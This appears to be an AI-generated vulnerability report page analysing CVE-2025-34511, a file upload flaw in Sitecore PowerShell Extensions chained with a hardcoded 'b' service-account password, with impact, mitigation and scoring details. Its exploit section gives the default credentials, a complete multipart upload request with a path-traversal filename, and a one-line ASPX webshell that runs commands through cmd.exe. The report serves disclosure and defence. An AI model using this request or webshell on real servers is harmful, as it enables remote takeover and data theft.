CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2025-34511

Sitecore SPE: When 'b' Equals Pwned - Analyzing CVE-2025-34511

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 30, 2026·5 min read·45 visits

Executive Summary (TL;DR)

Sitecore PowerShell Extensions contains an unrestricted file upload flaw in `PowerShellUploadFile2.aspx`. Combined with hardcoded credentials (user: `sitecore\ServicesAPI`, pass: `b`), attackers can upload ASPX webshells and gain full system control.

A critical unrestricted file upload vulnerability in Sitecore PowerShell Extensions (SPE) allows authenticated attackers to upload executable ASPX files, leading to Remote Code Execution (RCE). While technically requiring authentication, this flaw is frequently chained with CVE-2025-34509—a hardcoded credential vulnerability where the 'ServiceAPI' account password is the single letter 'b'—turning this into a trivial, pre-auth RCE chain.

The Hook: PowerShell on the Web?

Sitecore is the enterprise CMS of choice for organizations that have more budget than they know what to do with. To manage these sprawling monoliths, administrators often turn to the Sitecore PowerShell Extensions (SPE) module. It’s a powerful tool that brings the automation of PowerShell into the web context. It's essentially a remote administration terminal baked right into your web server.

But here is the golden rule of web security: If you build a feature that executes code or handles files, someone will try to use it to execute their code.

CVE-2025-34511 is a textbook implementation of this rule. It resides in a legacy upload handler designed to let admins push scripts and files to the server. Unfortunately, the developers seemingly forgot that "validating the file extension" is a step you shouldn't skip when accepting files on an IIS server. This isn't just a bug; it's an open door waiting for a gentle push.

The Flaw: Trusting the User

The vulnerability lives in a specific endpoint: /sitecore modules/Shell/PowerShell/UploadFile/PowerShellUploadFile2.aspx. This component is designed to handle multipart/form-data POST requests to upload files into the Sitecore media library or file system.

In a secure world, a file upload handler performs a rigid dance: it checks the extension against an allowlist, it verifies the magic bytes to ensure the content matches the extension, and it renames the file to a random hash to prevent directory traversal or overwrites. SPE did none of this.

Instead, the logic roughly amounted to: "You have a session cookie? Great. Here is the file system." The handler accepts the filename provided by the user in the Content-Disposition header. If you tell it you are uploading shell.aspx, it happily writes shell.aspx to the web root. Since Sitecore runs on IIS/ASP.NET, any file ending in .aspx is treated as executable code. By failing to sanitize the filename or restrict dangerous extensions, the application effectively grants the uploader the ability to write their own endpoints.

The Twist: 'b' is for Backdoor

You might be thinking, "But wait, the CVSS vector says PR:L (Low Privileges Required). Surely I'm safe if I have strong passwords?" This is where the story turns from a tragedy into a dark comedy.

While CVE-2025-34511 technically requires an authenticated session, the watchTowr Labs team discovered a companion vulnerability, CVE-2025-34509. It turns out that a specific service account, sitecore\ServicesAPI (and sometimes sitecore\PowerShellExtensionsAPI), was shipped with a hardcoded password.

That password was the letter 'b'.

Yes. Just 'b'.

So, the attack chain becomes trivial. The attacker doesn't need to phish an admin or brute force a complex password. they just log in with b, get a valid session cookie, and then use that session to hit the vulnerable upload endpoint. It transforms a post-auth vulnerability into a pre-auth RCE nightmare.

The Exploit: From 'b' to Shell

Let's walk through the exact steps an attacker takes to compromise the server. This has already been weaponized in Metasploit, so script kiddies are likely already scanning for it.

  1. Authentication: The attacker sends a login request to the Sitecore backend using sitecore\ServicesAPI and password b. The server responds with an authentication cookie.
  2. Payload Preparation: The attacker crafts a malicious ASPX file. This is usually a simple webshell that takes a query parameter and passes it to cmd.exe or PowerShell.
  3. The Upload: The attacker sends a POST request to PowerShellUploadFile2.aspx. The payload looks like this:
POST /sitecore%20modules/Shell/PowerShell/UploadFile/PowerShellUploadFile2.aspx?hdl=12345 HTTP/1.1
Host: target.com
Cookie: [Session Cookies obtained via 'b']
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
 
------WebKitFormBoundary
Content-Disposition: form-data; name="ItemUri"
 
/sitecore/media library
------WebKitFormBoundary
Content-Disposition: form-data; name="files[]"; filename="../../../../inetpub/wwwroot/pwned.aspx"
Content-Type: text/plain
 
<%@ Page Language="C#" %>
<% System.Diagnostics.Process.Start("cmd.exe", "/c " + Request["cmd"]); %>
------WebKitFormBoundary--
  1. Execution: The server saves pwned.aspx. The attacker navigates to https://target.com/pwned.aspx?cmd=whoami and receives iis apppool\sitecore in response. Game over.

The Impact: Total Control

Once the attacker has RCE via the ASPX shell, they are running as the IIS Worker Process. In Sitecore environments, this account is often over-privileged to handle file system operations and database connections.

From here, the attacker can:

  • Read web.config: Extract cleartext or encrypted database connection strings.
  • Exfiltrate Data: Dump the entire Customer Experience (CX) database, including PII.
  • Lateral Movement: If the server is domain-joined (it usually is), they can attempt to escalate privileges to Domain Admin using tools like RottenPotato or PrintSpoofer.
  • Ransomware: Encrypt the web root and database, taking the site offline.

Since Sitecore is often used for high-profile public-facing sites, the reputational damage is immediate and catastrophic.

The Fix: Kill the 'b'

Mitigation requires a two-pronged approach: fixing the code and fixing the configuration.

1. Update Sitecore PowerShell Extensions: Upgrade to SPE version 7.1 or later immediately. This version introduces strict file extension allowlisting and removes the unrestricted upload capability.

2. Rotate Credentials: Even if you patch the upload flaw, the hardcoded 'b' password (CVE-2025-34509) leaves you vulnerable to other attacks. You must change the password for sitecore\ServicesAPI and sitecore\PowerShellExtensionsAPI to a strong, random string.

3. Hardening: As a defense-in-depth measure, restrict access to /sitecore modules/ to trusted IP addresses (VPN/Internal) using IIS IP Address and Domain Restrictions. The administrative interface should never be exposed to the naked internet.

Official Patches

SitecoreSitecore Security Advisory KB1003667

Technical Appendix

CVSS Score
8.8/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
EPSS Probability
78.65%
Top 1% most exploited

Affected Systems

Sitecore Experience Manager (XM) 10.0 - 10.4Sitecore Experience Platform (XP) 10.0 - 10.4Sitecore Experience Commerce (XC) 9.0 - 10.4Sitecore PowerShell Extensions (SPE) < 7.1

Affected Versions Detail

Product
Affected Versions
Fixed Version
Sitecore PowerShell Extensions
Sitecore
<= 7.07.1
AttributeDetail
CWE IDCWE-434
Attack VectorNetwork
CVSS v3.18.8 (High)
EPSS Score0.78652 (78.65%)
ImpactRemote Code Execution (RCE)
Exploit StatusWeaponized (Metasploit Available)

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1505.003Server Software Component: Web Shell
Persistence
T1078Valid Accounts
Initial Access
CWE-434
Unrestricted Upload of File with Dangerous Type

The software allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product's environment.

Known Exploits & Detection

MetasploitRuby module that exploits the authentication bypass and file upload to achieve RCE.
watchTowr LabsOriginal research detailing the vulnerability chain.

Vulnerability Timeline

Disclosed by watchTowr Labs
2025-02-14
Metasploit Module Released
2025-02-14
Sitecore Advisory Published
2025-02-17

References & Sources

  • [1]watchTowr Labs Analysis
  • [2]NIST NVD Entry
Related Vulnerabilities
CVE-2025-34509

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-115923
6.5

CVE-2026-115923: Path Traversal and Catalog Rule Bypass in Backstage Catalog Backend

CVE-2026-115923 (GHSA-w658-mh9p-ww8f) is a path traversal and access control bypass vulnerability in Spotify's Backstage developer portal framework, specifically within the @backstage/plugin-catalog-backend package. Prior to patched versions, DefaultCatalogRulesEnforcer evaluated user-supplied URL catalog locations against configured catalog.rules patterns using raw, uncanonicalized strings. Because downstream URL readers canonicalize URLs and resolve dot segments before fetching resources, an authenticated attacker with location registration permissions can supply percent-encoded traversal sequences (such as %2e%2e) to bypass location restrictions and register untrusted catalog entities.

Amit Schendel
Amit Schendel
2 views•9 min read
•about 2 hours ago•CVE-2026-116576
7.8

CVE-2026-116576: OS Command Injection via Unicode Quotation Marks in Node.js systeminformation

CVE-2026-116576 (GHSA-3f7j-7jwc-fxfj) is an OS Command Injection vulnerability (CWE-78) in the Node.js systeminformation library prior to version 5.33.16 on Microsoft Windows. The services() API function dynamically constructs a PowerShell Get-CimInstance command using caller-supplied service names passed through sanitizeShellString(). While the sanitizer strips standard ASCII quotation marks, it permits Unicode typographic quotation marks (U+2018 through U+201E). Because the Windows PowerShell tokenizer recognizes Unicode quotation marks as valid string literal delimiters, an attacker who controls the service name input can break out of the CIM filter string and execute arbitrary PowerShell commands within the security context of the Node.js process.

Alon Barad
Alon Barad
1 views•11 min read
•about 3 hours ago•CVE-2026-116695
5.3

CVE-2026-116695: CSS Sanitizer Bypass via Bad URL Tokenization Differential in Crass

An interpretation conflict vulnerability (CWE-436) exists in the Ruby CSS parser library Crass prior to version 1.0.8. When consuming the remnants of a malformed URL token, the tokenizer erroneously checks the previously consumed character to determine if a valid escape sequence is present. Consequently, a closing parenthesis immediately following an escaped backslash sequence is treated as escaped by Crass, while spec-compliant web browsers treat the closing parenthesis as the end of the bad URL token. Downstream CSS sanitizers such as Sanitize, Loofah, and rails-html-sanitizer that rely on Crass to parse and reserialize untrusted CSS can be bypassed to inject arbitrary CSS declarations, style rules, and external @import directives.

Amit Schendel
Amit Schendel
4 views•11 min read
•about 4 hours ago•CVE-2026-116577
5.3

CVE-2026-116577: Algorithmic Complexity Denial of Service in Tornado HTTP Header Parser

Tornado versions prior to 6.6.0 contain an inefficient algorithmic complexity vulnerability in the HTTP header parser. When processing requests with obsolete line folding (obs-fold), the HTTPHeaders.parse_line method repeatedly concatenates immutable Python strings within a list structure. An unauthenticated remote attacker can send an HTTP request containing thousands of short header continuation lines to trigger quadratic O(N^2) CPU consumption on the main IOLoop thread, starving concurrent connections and resulting in a denial of service.

Alon Barad
Alon Barad
6 views•10 min read
•about 5 hours ago•CVE-2026-116578
2.1

CVE-2026-116578: Open Redirect in Tornado RedirectHandler via URL Normalization and Template Substitution

Tornado versions prior to 6.6.0 contain an open redirect vulnerability (CWE-601) in tornado.web.RedirectHandler. When route templates incorporate regular expression capture groups at the start of a path, directly after a fixed host without a trailing slash, or at the beginning of a destination template, unvalidated URL-decoded parameters allow attackers to manipulate the redirect scheme or network location. Because modern browsers normalize URLs according to the WHATWG specification—treating backslashes as forward slashes and stripping control characters—attackers can bypass naive prefix checks and redirect victims to arbitrary external domains.

Alon Barad
Alon Barad
6 views•11 min read
•about 6 hours ago•CVE-2026-115927
5.3

CVE-2026-115927: Event Loop Blocking and Memory Amplification in Tornado Chunked Transfer Encoding Parser

Tornado versions prior to 6.6.0 contain an uncontrolled resource consumption vulnerability (CWE-400) in the HTTP/1.1 chunked transfer encoding parser. When processing incoming chunked payloads that have already buffered in the socket read buffer, Tornado parses chunks in a tight synchronous loop without yielding to the event loop. Furthermore, non-streaming request handlers and SimpleAsyncHTTPClient store each chunk as a discrete Python bytes object inside a list, inducing an approximately 20-fold memory overhead for 1-byte chunks.

Amit Schendel
Amit Schendel
5 views•11 min read